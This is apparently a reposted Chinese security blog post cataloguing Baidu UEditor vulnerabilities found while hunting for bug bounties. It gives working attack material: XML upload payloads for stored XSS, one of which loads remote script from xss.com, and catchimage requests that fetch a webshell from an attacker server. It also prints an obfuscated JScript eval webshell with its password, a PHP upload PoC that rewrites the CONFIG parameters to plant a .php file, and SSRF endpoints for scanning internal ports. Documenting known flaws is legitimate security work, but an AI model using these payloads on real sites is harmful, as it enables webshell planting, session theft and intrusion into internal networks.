百度 UEditor 编辑器漏洞记录
作者:互联网
0x00 前言
整理一下流传的关于 UEditor 的漏洞。
“完整 demo”
近日挖掘教育行业 SRC 时经常遇到 UEditor。如下图是个使用 PHP 版本 UEditor 的站点(.pdf 文件由站点提供在线预览):
浏览文件的访问路径形如
http://www.xxx.com/ueditor/php/upload/file/[年月日]/[特殊规则重命名].pdf
直接将 UEditor 及其开发语言交代了,而且许多站点就是可以任意访问的——喜闻乐见的“完整 demo”。
寻找版本
知道了开发语言,还需要知道具体版本,问题是一些站点找不到“帮助”,就看不到具体版本号。
但其实还是可以找到的。访问 /ueditor/dialogs/help/help.html:
可知加载了 help.js 资源,查看源码,有:
document.getElementById('version').innerHTML = parent.UE.version;
所以在编辑器页可以依靠控制台打印版本。
0x01 XML 文件上传导致存储型 XSS
- 开发语言:PHP
- 版本:1.4.3.3
Gitee 上有个比较流行的二开版本,没有测试过。
先上传一个图片,使用抓包工具如 BurpSuite 拦截,进行修改再放行,主要是三处:
-
修改地址中的
action
,应当为POST /ueditor/php/controller.php?action=uploadfile HTTP/1.1
-
修改 Body 中的
Content-Disposition
对应的值,把文件后缀改为 .xmlContent-Disposition: form-data; name="upfile"; filename="test.xml"
-
Body 中的原图片数据全部删除,改为 payload
具体 XML 内容可以是:
-
弹窗 XSS
<html> <head></head> <body> <something:script xmlns:something="http://www.w3.org/1999/xhtml"> alert(1); </something:script> </body> </html>
-
URL 跳转
<html> <head></head> <body> <something:script xmlns:something="http://www.w3.org/1999/xhtml"> window.location.href="https://www.t00ls.net/"; </something:script> </body> </html>
-
加载远程 JS
<html> <head></head> <body> <something:script src="http://xss.com/xss.js" xmlns:something="http://www.w3.org/1999/xhtml"> </something:script> </body> </html>
0x02 任意文件上传
- 开发语言:.net
- 版本:1.3.6,1.4.3.3,1.5.0
官方早已经下架了 .net 版本,但是不排除仍有活跃实例的可能。
该漏洞是由于上传文件时,使用的 CrawlerHandler
类未对文件类型进行检验,导致了任意文件上传。1.4.3.3 版本和 1.5.0 版本利用方式稍有不同,1.4.3.3 需要一个能正确解析的域名。而 1.5.0 用 IP 和普通域名都可以。相对来说 1.5.0 版本更加容易触发此漏洞;而在 1.4.3.3 版本中攻击者需要提供一个正常的域名地址就可以绕过判断。
1.5.0
首先在公网可访问的服务器上放置一个图片马,然后构造一个 POST 即可。
POST /ueditor/net/controller.ashx?action=catchimage
中间省略各种 Header
source%5B%5D=http%3A%2F%2F[IP]/1.gif?.aspx
1.4.3.3
构造一个 HTML:
<form action="http://[目标 IP]/ueditor/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>
本地打开后填写一个远端可访问的图片马地址并提交。如下的马是可用的。
GIF89a
<script runat="server" language="JScript">
function popup(str) {
var q = "u";
var w = "afe";
var a = q + "ns" + w; var b= eval(str,a); return(b);
}
</script>
<% popup(popup(System.Text.Encoding.GetEncoding(65001). GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJoZWxsbyJd")))); %>
访问口令为 hello。
1.3.6
比较古早的版本,还没有解决 00 截断的问题。为了使大马能够被正常解析,需要将 %00
置于 .asp 后面,这样上传的时候被当成 test.asp.jpg,解析的时候被当成 test.asp。注意不是纯文本的 %00
,而是 URL-decode 过的不可见字符。另外,没做过混淆的大马可能只在本地测试时能过。
补充
PHP 相应版本也有文件上传问题。贴个 PoC:
POST http://localhost/ueditor/php/action_upload.php?action=uploadimage&CONFIG[imagePathFormat]=ueditor/php/upload/fuck&CONFIG[imageMaxSize]=9999999&CONFIG[imageAllowFiles][]=.php&CONFIG[imageFieldName]=fuck HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 222
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/60.0.3112.78 Safari/537.36
Content-Type: multipart/form-data; boundary=——WebKitFormBoundaryDMmqvK6b3ncX4xxA
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
———WebKitFormBoundaryDMmqvK6b3ncX4xxA
Content-Disposition: form-data; name="fuck"; filename="fuck.php"
Content-Type: application/octet-stream
<?php
phpinfo();
?>
———WebKitFormBoundaryDMmqvK6b3ncX4xxA—
注意,shell 路径由 CONFIG[imagePathFormat]=ueditor/php/upload/fuck
决定,按照 PoC 中所给条件,则访问路径应当是 http://localhost/ueditor/php/upload/fuck.php。
0x03 SSRF
- 开发语言:JSP
- 版本:1.4.3
1.4.3.1 版本就修复了这个问题。
该版本的 SSRF 触发点:
- /jsp/controller.jsp?action=catchimage&source[]=
- /jsp/getRemoteImage.jsp?upfile=
- /php/controller.php?action=catchimage&source[]=
更多 PoC:
- /ueditor/jsp/getRemoteImage.jsp?upfile=http://127.0.0.1/favicon.ico?.jpg
- /ueditor/jsp/controller.jsp?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif
- /ueditor/php/controller.php?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif
通过修改 source
参数,能够探查内网相关端口。有道翻译网站出过 SSRF 问题,导致内网内容可被直接访问。
提交后的返回信息很容易判断,只要 state
出现 Unicode 编码,那必然是失败了(用中文提示如何如何失败)。
小结
其实还有一处 XSS,位于 1.4.3.3 版本的编辑器页内,但也是用处不大。即使能够成为存储型,也很难让他人访问。
除了代码问题外,UEditor 还可能导致敏感文件外泄——因为可以在线管理存储好的附件。
标签:1.4,UEditor,ueditor,编辑器,jsp,版本,action,php,百度 来源: https://www.cnblogs.com/4thrun/p/15807017.html